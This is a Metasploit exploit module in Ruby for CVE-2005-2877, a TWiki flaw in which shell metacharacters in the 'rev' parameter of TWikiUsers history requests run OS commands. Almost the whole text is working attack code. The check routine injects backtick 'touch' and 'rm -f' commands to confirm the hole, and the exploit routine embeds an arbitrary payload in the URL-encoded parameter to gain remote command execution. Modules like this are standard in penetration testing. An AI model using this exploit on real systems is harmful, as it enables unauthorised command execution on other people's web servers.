TWiki History TWikiUsers – ‘rev’ Command Execution (Metasploit)
## # $Id: twiki_history.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TWiki History TWikiUsers rev Parameter Command Execution', 'Description' => %q{ This module exploits a vulnerability in the history component of TWiki. By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers script, an attacker can execute arbitrary OS commands. }, 'Author' => [ 'B4dP4nd4', # original discovery 'jduck' # metasploit version ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ [ 'CVE', '2005-2877' ], [ 'OSVDB', '19403' ], [ 'BID', '14834' ], [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ] ], 'Privileged' => true, # web server context 'Payload' => { 'DisableNops' => true, 'BadChars' => '', 'Space' => 1024, }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Sep 14 2005', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]), ], self.class) end # # NOTE: This is not perfect, since it requires write access to the bin # directory. Unfortunately, detrmining the main directory isn't # trivial, or otherwise I would write there (required to be writable # per installation steps). # def check test_file = rand_text_alphanumeric(8+rand(8)) cmd_base = datastore['URI'] + '/view/Main/TWikiUsers?rev=' test_url = datastore['URI'] + '/' + test_file # first see if it already exists (it really shouldn't) res = send_request_raw({ 'uri' => test_url }, 25) if (not res) or (res.code != 404) print_error("WARNING: The test file exists already!") return Exploit::CheckCode::Safe end # try to create it print_status("Attempting to create #{test_url} ...") rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#' res = send_request_raw({ 'uri' => cmd_base + Rex::Text.uri_encode(rev) }, 25) if (not res) or (res.code != 200) return Exploit::CheckCode::Safe end # try to run it, 500 code == successfully made it res = send_request_raw({ 'uri' => test_url }, 25) if (not res) or (res.code != 500) return Exploit::CheckCode::Safe end # delete the tmp file print_status("Attempting to delete #{test_url} ...") rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#' res = send_request_raw({ 'uri' => cmd_base + Rex::Text.uri_encode(rev) }, 25) if (not res) or (res.code != 200) print_error("WARNING: unable to remove test file (#{test_file})") end return Exploit::CheckCode::Vulnerable end def exploit rev = rand_text_numeric(1+rand(5)) rev << ' `' + payload.encoded + '`#' query_str = datastore['URI'] + '/view/Main/TWikiUsers' query_str << '?rev=' query_str << Rex::Text.uri_encode(rev) res = send_request_cgi({ 'method' => 'GET', 'uri' => query_str, }, 25) if (res and res.code == 200) print_status("Successfully sent exploit request") else raise RuntimeError, "Error sending exploit request" end handler end end |